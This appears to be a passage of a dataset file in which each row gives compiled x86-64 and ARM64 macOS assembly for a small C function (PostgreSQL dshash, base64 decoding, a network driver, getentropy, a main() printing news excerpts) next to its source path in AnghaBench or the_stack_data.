`%s' does not exist" .no_dead_strip _lookup_pwent .subsections_via_symbols
AnghaBench/freebsd/usr.sbin/pw/extr_pw_group.c_lookup_pwent.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dshash_get_hash_table_handle ## -- Begin function dshash_get_hash_table_handle .p2align 4, 0x90 _dshash_get_hash_table_handle: ## @dshash_get_hash_table_handle .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movq (%rdi), %rax movq (%rax), %rax movq _DSHASH_MAGIC@GOTPCREL(%rip), %rcx xorl %edi, %edi cmpq (%rcx), %rax sete %dil callq _Assert movq (%rbx), %rax movl 8(%rax), %eax addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _DSHASH_MAGIC,8,3 ## @DSHASH_MAGIC .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dshash_get_hash_table_handle ; -- Begin function dshash_get_hash_table_handle .p2align 2 _dshash_get_hash_table_handle: ; @dshash_get_hash_table_handle .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr x8, [x0] ldr x8, [x8] Lloh0: adrp x9, _DSHASH_MAGIC@GOTPAGE Lloh1: ldr x9, [x9, _DSHASH_MAGIC@GOTPAGEOFF] Lloh2: ldr x9, [x9] cmp x8, x9 cset w0, eq bl _Assert ldr x8, [x19] ldr w0, [x8, #8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _DSHASH_MAGIC,8,3 ; @DSHASH_MAGIC .subsections_via_symbols
AnghaBench/postgres/src/backend/lib/extr_dshash.c_dshash_get_hash_table_handle.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _decode_base64 ## -- Begin function decode_base64 .p2align 4, 0x90 _decode_base64: ## @decode_base64 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r15 callq _strlen movq %rax, %r14 movq _decoding_table(%rip), %rbx testq %rbx, %rbx jne LBB0_3 ## %bb.1: movl $256, %edi ## imm = 0x100 callq _malloc movq %rax, %rbx movq %rax, _decoding_table(%rip) xorl %eax, %eax leaq _encoding_table(%rip), %rcx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movzbl (%rax,%rcx), %edx movb %al, (%rbx,%rdx) movzbl 1(%rax,%rcx), %edx leal 1(%rax), %esi movb %sil, (%rbx,%rdx) movzbl 2(%rax,%rcx), %edx leal 2(%rax), %esi movb %sil, (%rbx,%rdx) movzbl 3(%rax,%rcx), %edx leal 3(%rax), %esi movb %sil, (%rbx,%rdx) addq $4, %rax cmpq $64, %rax jne LBB0_2 LBB0_3: testb $3, %r14b je LBB0_5 LBB0_24: xorl %eax, %eax jmp LBB0_25 LBB0_5: movq %r14, %rax shrq $2, %rax xorl %ecx, %ecx cmpb $61, -1(%r14,%r15) leaq (%rax,%rax,2), %r12 sete %cl subq %rcx, %r12 xorl %eax, %eax cmpb $61, -2(%r14,%r15) sete %al subq %rax, %r12 movq %r12, %rdi callq _malloc testq %rax, %rax je LBB0_24 ## %bb.6: movq %rax, %r13 testq %r14, %r14 je LBB0_23 ## %bb.7: xorl %r8d, %r8d xorl %esi, %esi jmp LBB0_9 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_9 Depth=1 cmpq %r14, %r8 jae LBB0_23 LBB0_9: ## =>This Inner Loop Header: Depth=1 movq %rsi, %r9 movzbl (%r15,%r8), %eax movl $0, %esi cmpq $61, %rax je LBB0_11 ## %bb.10: ## in Loop: Header=BB0_9 Depth=1 movzbl (%rbx,%rax), %esi LBB0_11: ## in Loop: Header=BB0_9 Depth=1 movzbl 1(%r15,%r8), %eax xorl %edx, %edx movl $0, %edi cmpq $61, %rax je LBB0_13 ## %bb.12: ## in Loop: Header=BB0_9 Depth=1 movzbl (%rbx,%rax), %edi LBB0_13: ## in Loop: Header=BB0_9 Depth=1 movzbl 2(%r15,%r8), %eax cmpq $61, %rax je LBB0_15 ## %bb.14: ## in Loop: Header=BB0_9 Depth=1 movzbl (%rbx,%rax), %edx LBB0_15: ## in Loop: Header=BB0_9 Depth=1 movzbl 3(%r15,%r8), %ecx xorl %eax, %eax cmpq $61, %rcx je LBB0_17 ## %bb.16: ## in Loop: Header=BB0_9 Depth=1 movzbl (%rbx,%rcx), %eax LBB0_17: ## in Loop: Header=BB0_9 Depth=1 shll $18, %esi shll $12, %edi addl %esi, %edi shll $6, %edx addl %edi, %edx addl %eax, %edx movq %r9, %rsi cmpq %r12, %r9 jae LBB0_19 ## %bb.18: ## in Loop: Header=BB0_9 Depth=1 movl %edx, %eax shrl $16, %eax movq %r13, %rcx movb %al, (%r13,%rsi) movq %r13, %rax incq %rsi cmpq %r12, %rsi jb LBB0_20 jmp LBB0_21 .p2align 4, 0x90 LBB0_19: ## in Loop: Header=BB0_9 Depth=1 movq %r13, %rax cmpq %r12, %rsi jae LBB0_21 LBB0_20: ## in Loop: Header=BB0_9 Depth=1 movb %dh, (%rax,%rsi) incq %rsi LBB0_21: ## in Loop: Header=BB0_9 Depth=1 addq $4, %r8 cmpq %r12, %rsi jae LBB0_8 ## %bb.22: ## in Loop: Header=BB0_9 Depth=1 movb %dl, (%rax,%rsi) incq %rsi jmp LBB0_8 LBB0_23: movq %rbx, %rdi callq _free movq %r13, %rax LBB0_25: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .zerofill __DATA,__bss,_decoding_table,8,3 ## @decoding_table .section __TEXT,__const .p2align 4 ## @encoding_table _encoding_table: .ascii "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _decode_base64 ; -- Begin function decode_base64 .p2align 2 _decode_base64: ; @decode_base64 .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 bl _strlen mov x20, x0 adrp x22, _decoding_table@PAGE ldr x21, [x22, _decoding_table@PAGEOFF] cbnz x21, LBB0_3 ; %bb.1: mov w0, #256 bl _malloc mov x21, x0 mov x8, #0 str x0, [x22, _decoding_table@PAGEOFF] Lloh0: adrp x9, _encoding_table@PAGE Lloh1: add x9, x9, _encoding_table@PAGEOFF LBB0_2: ; =>This Inner Loop Header: Depth=1 ldrb w10, [x9, x8] strb w8, [x21, x10] add x8, x8, #1 cmp x8, #64 b.ne LBB0_2 LBB0_3: tst x20, #0x3 b.eq LBB0_5 ; %bb.4: mov x22, #0 b LBB0_28 LBB0_5: lsr x8, x20, #2 add x8, x8, x8, lsl #1 add x9, x20, x19 ldurb w10, [x9, #-1] cmp w10, #61 cset w10, eq ldurb w9, [x9, #-2] cmp w9, #61 cset w9, eq sub x8, x8, x10 sub x23, x8, x9 mov x0, x23 bl _malloc mov x22, x0 cbz x0, LBB0_28 ; %bb.6: cbz x20, LBB0_27 ; %bb.7: mov x8, #0 mov x9, #0 b LBB0_9 LBB0_8: ; in Loop: Header=BB0_9 Depth=1 add x8, x8, #4 cmp x8, x20 b.hs LBB0_27 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldrb w10, [x19, x8] cmp x10, #61 b.ne LBB0_11 ; %bb.10: ; in Loop: Header=BB0_9 Depth=1 mov w10, #0 b LBB0_12 LBB0_11: ; in Loop: Header=BB0_9 Depth=1 ldrb w10, [x21, x10] LBB0_12: ; in Loop: Header=BB0_9 Depth=1 add x12, x19, x8 ldrb w11, [x12, #1] cmp x11, #61 b.ne LBB0_14 ; %bb.13: ; in Loop: Header=BB0_9 Depth=1 mov w11, #0 b LBB0_15 LBB0_14: ; in Loop: Header=BB0_9 Depth=1 ldrb w11, [x21, x11] LBB0_15: ; in Loop: Header=BB0_9 Depth=1 ldrb w12, [x12, #2] cmp x12, #61 b.ne LBB0_17 ; %bb.16: ; in Loop: Header=BB0_9 Depth=1 mov w12, #0 b LBB0_18 LBB0_17: ; in Loop: Header=BB0_9 Depth=1 ldrb w12, [x21, x12] LBB0_18: ; in Loop: Header=BB0_9 Depth=1 add x13, x19, x8 ldrb w13, [x13, #3] cmp x13, #61 b.ne LBB0_20 ; %bb.19: ; in Loop: Header=BB0_9 Depth=1 mov w13, #0 b LBB0_21 LBB0_20: ; in Loop: Header=BB0_9 Depth=1 ldrb w13, [x21, x13] LBB0_21: ; in Loop: Header=BB0_9 Depth=1 lsl w11, w11, #12 add w10, w11, w10, lsl #18 add w10, w10, w12, lsl #6 add w10, w10, w13 cmp x9, x23 b.lo LBB0_24 ; %bb.22: ; in Loop: Header=BB0_9 Depth=1 cmp x9, x23 b.lo LBB0_25 LBB0_23: ; in Loop: Header=BB0_9 Depth=1 cmp x9, x23 b.hs LBB0_8 b LBB0_26 LBB0_24: ; in Loop: Header=BB0_9 Depth=1 lsr w11, w10, #16 strb w11, [x22, x9] add x9, x9, #1 cmp x9, x23 b.hs LBB0_23 LBB0_25: ; in Loop: Header=BB0_9 Depth=1 lsr w11, w10, #8 strb w11, [x22, x9] add x9, x9, #1 cmp x9, x23 b.hs LBB0_8 LBB0_26: ; in Loop: Header=BB0_9 Depth=1 strb w10, [x22, x9] add x9, x9, #1 b LBB0_8 LBB0_27: mov x0, x21 bl _free LBB0_28: mov x0, x22 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .zerofill __DATA,__bss,_decoding_table,8,3 ; @decoding_table .section __TEXT,__const _encoding_table: ; @encoding_table .ascii "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" .subsections_via_symbols
the_stack_data/231392106.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function be_schedule_err_detection _be_schedule_err_detection: ## @be_schedule_err_detection .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _be_err_recovery_workq@GOTPCREL(%rip), %rax movl (%rax), %ebx testl %ebx, %ebx je LBB0_2 ## %bb.1: movq %rdi, %r14 leaq 4(%rdi), %r15 movl %esi, %edi callq _msecs_to_jiffies movl %ebx, %edi movq %r15, %rsi movl %eax, %edx callq _queue_delayed_work movq _BE_FLAGS_ERR_DETECTION_SCHEDULED@GOTPCREL(%rip), %rax movl (%rax), %eax orl %eax, (%r14) LBB0_2: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _be_err_recovery_workq,4,2 ## @be_err_recovery_workq .comm _BE_FLAGS_ERR_DETECTION_SCHEDULED,4,2 ## @BE_FLAGS_ERR_DETECTION_SCHEDULED .no_dead_strip _be_schedule_err_detection .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function be_schedule_err_detection _be_schedule_err_detection: ; @be_schedule_err_detection .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 Lloh0: adrp x8, _be_err_recovery_workq@GOTPAGE Lloh1: ldr x8, [x8, _be_err_recovery_workq@GOTPAGEOFF] Lloh2: ldr w20, [x8] cbz w20, LBB0_2 ; %bb.1: mov x19, x0 add x21, x0, #4 mov x0, x1 bl _msecs_to_jiffies mov x2, x0 mov x0, x20 mov x1, x21 bl _queue_delayed_work Lloh3: adrp x8, _BE_FLAGS_ERR_DETECTION_SCHEDULED@GOTPAGE Lloh4: ldr x8, [x8, _BE_FLAGS_ERR_DETECTION_SCHEDULED@GOTPAGEOFF] Lloh5: ldr w8, [x8] ldr w9, [x19] orr w8, w9, w8 str w8, [x19] LBB0_2: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _be_err_recovery_workq,4,2 ; @be_err_recovery_workq .comm _BE_FLAGS_ERR_DETECTION_SCHEDULED,4,2 ; @BE_FLAGS_ERR_DETECTION_SCHEDULED .no_dead_strip _be_schedule_err_detection .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/emulex/benet/extr_be_main.c_be_schedule_err_detection.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _getentropy ## -- Begin function getentropy .p2align 4, 0x90 _getentropy: ## @getentropy .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 cmpq $256, %rsi ## imm = 0x100 ja LBB0_3 ## %bb.1: movq %rsi, %rbx movq %rdi, %r14 movq _PROV_RSA_FULL@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _CRYPT_VERIFYCONTEXT@GOTPCREL(%rip), %rax movl (%rax), %r8d xorl %r15d, %r15d leaq -28(%rbp), %rdi xorl %esi, %esi xorl %edx, %edx callq _CryptAcquireContext testq %rax, %rax je LBB0_3 ## %bb.2: movl -28(%rbp), %edi movq %rbx, %rsi movq %r14, %rdx callq _CryptGenRandom movq %rax, %rbx movl -28(%rbp), %edi xorl %esi, %esi callq _CryptReleaseContext testq %rbx, %rbx jne LBB0_4 LBB0_3: movq _EIO@GOTPCREL(%rip), %rax movl (%rax), %eax movq _errno@GOTPCREL(%rip), %rcx movl %eax, (%rcx) movl $-1, %r15d LBB0_4: movl %r15d, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _EIO,4,2 ## @EIO .comm _errno,4,2 ## @errno .comm _PROV_RSA_FULL,4,2 ## @PROV_RSA_FULL .comm _CRYPT_VERIFYCONTEXT,4,2 ## @CRYPT_VERIFYCONTEXT .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _getentropy ; -- Begin function getentropy .p2align 2 _getentropy: ; @getentropy .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 cmp x1, #256 b.hi LBB0_3 ; %bb.1: mov x20, x1 mov x19, x0 Lloh0: adrp x8, _PROV_RSA_FULL@GOTPAGE Lloh1: ldr x8, [x8, _PROV_RSA_FULL@GOTPAGEOFF] Lloh2: ldr w3, [x8] Lloh3: adrp x8, _CRYPT_VERIFYCONTEXT@GOTPAGE Lloh4: ldr x8, [x8, _CRYPT_VERIFYCONTEXT@GOTPAGEOFF] Lloh5: ldr w4, [x8] add x0, sp, #12 mov x1, #0 mov x2, #0 bl _CryptAcquireContext cbz x0, LBB0_3 ; %bb.2: ldr w0, [sp, #12] mov x1, x20 mov x2, x19 bl _CryptGenRandom mov x19, x0 ldr w0, [sp, #12] mov w1, #0 bl _CryptReleaseContext mov w0, #0 cbnz x19, LBB0_4 LBB0_3: Lloh6: adrp x8, _EIO@GOTPAGE Lloh7: ldr x8, [x8, _EIO@GOTPAGEOFF] Lloh8: ldr w8, [x8] Lloh9: adrp x9, _errno@GOTPAGE Lloh10: ldr x9, [x9, _errno@GOTPAGEOFF] Lloh11: str w8, [x9] mov w0, #-1 LBB0_4: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotStr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .cfi_endproc ; -- End function .comm _EIO,4,2 ; @EIO .comm _errno,4,2 ; @errno .comm _PROV_RSA_FULL,4,2 ; @PROV_RSA_FULL .comm _CRYPT_VERIFYCONTEXT,4,2 ; @CRYPT_VERIFYCONTEXT .subsections_via_symbols
AnghaBench/freebsd/contrib/unbound/compat/extr_getentropy_win.c_getentropy.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function bfa_ioc_sm_hwfail_entry _bfa_ioc_sm_hwfail_entry: ## @bfa_ioc_sm_hwfail_entry .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %esi, %esi popq %rbp jmp _bfa_trc ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _bfa_ioc_sm_hwfail_entry .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function bfa_ioc_sm_hwfail_entry _bfa_ioc_sm_hwfail_entry: ; @bfa_ioc_sm_hwfail_entry .cfi_startproc ; %bb.0: mov w1, #0 b _bfa_trc .cfi_endproc ; -- End function .no_dead_strip _bfa_ioc_sm_hwfail_entry .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/scsi/bfa/extr_bfa_ioc.c_bfa_ioc_sm_hwfail_entry.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str(%rip), %rdi callq _puts leaq L_.str.1(%rip), %rdi callq _puts leaq L_.str.2(%rip), %rdi callq _puts leaq L_.str.3(%rip), %rdi callq _puts leaq L_.str.4(%rip), %rdi callq _puts xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Hello world." L_.str.1: ## @.str.1 .asciz "You may be traveling across the world, but you\342\200\231re still just a hangout away. With Google+, you can stay in touch over video chat." L_.str.2: ## @.str.2 .asciz "When you\342\200\231re too tired to think straight, just open Google Now and find your hotel card with information about your reservation." L_.str.3: ## @.str.3 .asciz "The July 5 attack near Latakia was the fourth known Israeli airstrike in Syria this year. Providing new details, American officials said that it had been carried out by Israeli aircraft that flew over the eastern Mediterranean, fired air-to-ground missiles and never entered Syrian airspace. The route of the Israeli aircraft led to some erroneous reports that the attack had been carried out by an Israeli submarine. In addition to targeting the Yakhont missiles, Israel carried out an airstrike in late January aimed at another system provided by Russia: a convoy of SA-17 surface-to-air missiles that Israeli officials believed were destined for Hezbollah.Iran\342\200\231s arms shipments are also a concern for the Israelis. In May, Israeli warplanes conducted two days of airstrikes that targeted, among other things, a shipment of Fateh-110 missiles \342\200\224 mobile surface-to-surface missiles that had been provided by Iran and flown to Damascus, Syria, on transport planes that passed through Iraqi airspace. The Fateh-110 missiles, which the Israelis feared were also intended for Hezbollah, have the range to strike Tel Aviv and much of Israel from southern Lebanon. Iran has sent members of its paramilitary Quds force into Syria, under the supervision of Maj. Gen. Hossein Hamdani, a senior officer of the force who is in charge of operations in Syria and oversees Iran\342\200\231s arms shipments to Hezbollah, according to American intelligence officials. Hezbollah\342\200\231s attempt to acquire weapons is supervised by Shaykh Salah, a senior official in charge of the militia\342\200\231s operations in Lebanon, according to American officials. Iran has also pressed Iraqi Shiites to join the fight in Syria in support of the Assad government. That includes about 200 members of the Badr Corps, Iraqis who were supported by Iran during Tehran\342\200\231s long war against Saddam Hussein, and who later returned to Iraq after he was ousted from power, American officials say. The support of Iran and Hezbollah for the Assad government, and Israel\342\200\231s military interventions, reflects how the conflict has drawn in outside powers. Both Saudi Arabia and Qatar have been arming the Syrian rebels, and Congress recently dropped objections to a proposal by President O" L_.str.4: ## @.str.4 .asciz "They are not using these objects, of course, but clicking on the pictures of them in popular word-processing programs like Microsoft Word or Google Docs. The icons linger like vestigial organs of an old-style office, 31 years after I.B.M.\342\200\231s personal computer brought work into the software age. They symbolize an old style of office software, built for the time when the desktop computer was new and unfamiliar. But no longer are workers tethered to a desk, or even to an office; we are all toting around laptops, tablets and smartphones to make every place a workplace. And so office software is changing. These days, what is important is collaboration, small screens, fast turnarounds, social media and, most of all, mobility. 'The way people use things is fundamentally changing,' said Bret Taylor, chief executive of Quip, a start-up offering document-writing software that focuses more on mobile than desktop work. Mr. Taylor, 33, is one of the best-regarded young software engineers in Silicon Valley. He helped create Google Maps before serving as Facebook\342\200\231s chief technical officer. His co-founder, Kevin Gibbs, also 33, helped create Google\342\200\231s data centers and as a side project developed the software that suggests completions when people start to type questions into Google search. Their company is one of several that is developing office software for the mobile world. Some of the new programs still borrow from images of old-fashioned work in their design. But the capabilities they offer are decidedly up-to-date. Last month Box, an online service for storing documents, pictures and other data, bought Crocodoc, a company that makes it possible to view Microsoft Word documents and other popular file formats across a variety of devices at the right size for whatever screen is being used at the time. Evernote, another online storage outfit, allows people to write, edit and share notes together, instead of e-mailing multiple versions of a Word document to one another. Sam Schillace, Box\342\200\231s vice president for engineering, wrote the original program that became Google Docs, which was introduced only six years ago. He explained that in a mobile world, where everyone is in nearly constant contact, speed and ease of use are more important than lots of font choices. We were guilty of taking the existing nature of documents, he said, but six years ago connectivity was a question. Now everything is connected all the time. Both Microsoft and Google are scrambling to make their products reflect a work environment where PCs exist alongside other devices. There is a mobile version of Microsoft Office, which includes Microsoft Word, but it can only be used to edit certain kinds of documents and collaboration is limited. One reason for this, the company says, is that it does not want to force its user base to relearn too much, too quickly.We have one billion users of Office,said Julia White, general manager of Office marketing." .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _puts Lloh2: adrp x0, l_.str.1@PAGE Lloh3: add x0, x0, l_.str.1@PAGEOFF bl _puts Lloh4: adrp x0, l_.str.2@PAGE Lloh5: add x0, x0, l_.str.2@PAGEOFF bl _puts Lloh6: adrp x0, l_.str.3@PAGE Lloh7: add x0, x0, l_.str.3@PAGEOFF bl _puts Lloh8: adrp x0, l_.str.4@PAGE Lloh9: add x0, x0, l_.str.4@PAGEOFF bl _puts mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh8, Lloh9 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Hello world." l_.str.1: ; @.str.1 .asciz "You may be traveling across the world, but you\342\200\231re still just a hangout away. With Google+, you can stay in touch over video chat." l_.str.2: ; @.str.2 .asciz "When you\342\200\231re too tired to think straight, just open Google Now and find your hotel card with information about your reservation." l_.str.3: ; @.str.3 .asciz "The July 5 attack near Latakia was the fourth known Israeli airstrike in Syria this year. Providing new details, American officials said that it had been carried out by Israeli aircraft that flew over the eastern Mediterranean, fired air-to-ground missiles and never entered Syrian airspace. The route of the Israeli aircraft led to some erroneous reports that the attack had been carried out by an Israeli submarine. In addition to targeting the Yakhont missiles, Israel carried out an airstrike in late January aimed at another system provided by Russia: a convoy of SA-17 surface-to-air missiles that Israeli officials believed were destined for Hezbollah.Iran\342\200\231s arms shipments are also a concern for the Israelis. In May, Israeli warplanes conducted two days of airstrikes that targeted, among other things, a shipment of Fateh-110 missiles \342\200\224 mobile surface-to-surface missiles that had been provided by Iran and flown to Damascus, Syria, on transport planes that passed through Iraqi airspace. The Fateh-110 missiles, which the Israelis feared were also intended for Hezbollah, have the range to strike Tel Aviv and much of Israel from southern Lebanon. Iran has sent members of its paramilitary Quds force into Syria, under the supervision of Maj. Gen. Hossein Hamdani, a senior officer of the force who is in charge of operations in Syria and oversees Iran\342\200\231s arms shipments to Hezbollah, according to American intelligence officials. Hezbollah\342\200\231s attempt to acquire weapons is supervised by Shaykh Salah, a senior official in charge of the militia\342\200\231s operations in Lebanon, according to American officials. Iran has also pressed Iraqi Shiites to join the fight in Syria in support of the Assad government. That includes about 200 members of the Badr Corps, Iraqis who were supported by Iran during Tehran\342\200\231s long war against Saddam Hussein, and who later returned to Iraq after he was ousted from power, American officials say. The support of Iran and Hezbollah for the Assad government, and Israel\342\200\231s military interventions, reflects how the conflict has drawn in outside powers. Both Saudi Arabia and Qatar have been arming the Syrian rebels, and Congress recently dropped objections to a proposal by President O" l_.str.4: ; @.str.4 .asciz "They are not using these objects, of course, but clicking on the pictures of them in popular word-processing programs like Microsoft Word or Google Docs. The icons linger like vestigial organs of an old-style office, 31 years after I.B.M.\342\200\231s personal computer brought work into the software age. They symbolize an old style of office software, built for the time when the desktop computer was new and unfamiliar. But no longer are workers tethered to a desk, or even to an office; we are all toting around laptops, tablets and smartphones to make every place a workplace. And so office software is changing. These days, what is important is collaboration, small screens, fast turnarounds, social media and, most of all, mobility. 'The way people use things is fundamentally changing,' said Bret Taylor, chief executive of Quip, a start-up offering document-writing software that focuses more on mobile than desktop work. Mr. Taylor, 33, is one of the best-regarded young software engineers in Silicon Valley. He helped create Google Maps before serving as Facebook\342\200\231s chief technical officer. His co-founder, Kevin Gibbs, also 33, helped create Google\342\200\231s data centers and as a side project developed the software that suggests completions when people start to type questions into Google search. Their company is one of several that is developing office software for the mobile world. Some of the new programs still borrow from images of old-fashioned work in their design. But the capabilities they offer are decidedly up-to-date. Last month Box, an online service for storing documents, pictures and other data, bought Crocodoc, a company that makes it possible to view Microsoft Word documents and other popular file formats across a variety of devices at the right size for whatever screen is being used at the time. Evernote, another online storage outfit, allows people to write, edit and share notes together, instead of e-mailing multiple versions of a Word document to one another. Sam Schillace, Box\342\200\231s vice president for engineering, wrote the original program that became Google Docs, which was introduced only six years ago. He explained that in a mobile world, where everyone is in nearly constant contact, speed and ease of use are more important than lots of font choices. We were guilty of taking the existing nature of documents, he said, but six years ago connectivity was a question. Now everything is connected all the time. Both Microsoft and Google are scrambling to make their products reflect a work environment where PCs exist alongside other devices. There is a mobile version of Microsoft Office, which includes Microsoft Word, but it can only be used to edit certain kinds of documents and collaboration is limited. One reason for this, the company says, is that it does not want to force its user base to relearn too much, too quickly.We have one billion users of Office,said Julia White, general manager of Office marketing." .subsections_via_symbols
the_stack_data/62922.c
stack
